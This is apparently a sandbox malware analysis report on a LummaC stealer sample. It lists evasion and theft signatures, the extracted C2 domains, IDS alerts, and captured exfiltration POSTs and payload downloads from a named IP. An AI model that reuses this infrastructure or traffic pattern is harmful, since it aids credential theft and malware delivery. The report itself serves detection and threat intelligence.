Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543418
MD5:	4fedb70a7d089a6d597ed457dbe08e9d
SHA1:	a0152e80a303a0cea049cb754a841179745f685f
SHA256:	fb441142b7c68401a527f50b57be4cc3b3008a895a0dd89de4c1521e91e78e34
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4292 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4FEDB70A7D089A6D597ED457DBE08E9D)

R2L4HOH3ABPEWSR51AXUR0XR.exe (PID: 528 cmdline: "C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe" MD5: 728F12175C37A35D5D88861DC368FDEC)

WerFault.exe (PID: 3292 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 1880 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["scriptyprefej.store", "necklacedmny.store", "founpiuer.store", "navygenerayk.store", "thumbystriw.store", "fadehairucw.store", "presticitpo.store", "crisiwarny.store"], "Build id": "BtH--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2161404498.000000000115F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2199880231.0000000001161000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2179905244.000000000114E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2196444620.0000000001161000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2165909480.0000000001160000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2180899538.0000000001160000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2199932512.0000000001165000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2148112355.000000000115F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2180542258.0000000001160000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2164822716.0000000001161000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2196045132.0000000001160000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4292	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 4292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4292	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 9 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T20:15:14.128011+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.95.91	443	TCP
2024-10-27T20:15:15.619360+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.95.91	443	TCP
2024-10-27T20:15:26.456891+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49712	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T20:15:14.128011+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T20:15:15.619360+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.95.91	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T20:15:27.366662+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49719	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T20:15:22.187226+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	104.21.95.91	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.4292.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["scriptyprefej.store", "necklacedmny.store", "founpiuer.store", "navygenerayk.store", "thumbystriw.store", "fadehairucw.store", "presticitpo.store", "crisiwarny.store"], "Build id": "BtH--"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49712 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: R2L4HOH3ABPEWSR51AXUR0XR.exe, 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmp, R2L4HOH3ABPEWSR51AXUR0XR.exe, 00000003.00000003.2344753422.0000000004E70000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49712 -> 104.21.95.91:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: crisiwarny.store

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 27 Oct 2024 19:15:27 GMTContent-Type: application/octet-streamContent-Length: 2815488Last-Modified: Sun, 27 Oct 2024 18:53:32 GMTConnection: keep-aliveETag: "671e8c2c-2af600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 83 8b 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 65 66 7a 67 78 64 73 00 a0 2a 00 00 a0 00 00 00 94 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 64 68 63 63 7a 70 71 00 20 00 00 00 40 2b 00 00 06 00 00 00 ce 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 d4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 27 Oct 2024 19:15:33 GMTContent-Type: application/octet-streamContent-Length: 1912832Last-Modified: Sun, 27 Oct 2024 18:56:16 GMTConnection: keep-aliveETag: "671e8cd0-1d3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 c0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 4b 00 00 04 00 00 3c 8c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec a5 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c a5 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6d 6e 64 61 6b 70 6f 00 20 1a 00 00 90 31 00 00 16 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6e 70 70 7a 6b 65 76 00 10 00 00 00 b0 4b 00 00 04 00 00 00 0a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 4b 00 00 22 00 00 00 0e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 104.21.95.91 104.21.95.91
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49719 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1254Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569434Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2323594459.0000000001143000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/K
Source: file.exe, 00000000.00000003.2323594459.0000000001143000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/P
Source: file.exe, 00000000.00000003.2323594459.0000000001143000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2323594459.0000000001143000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeM
Source: file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2323349218.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exest
Source: file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
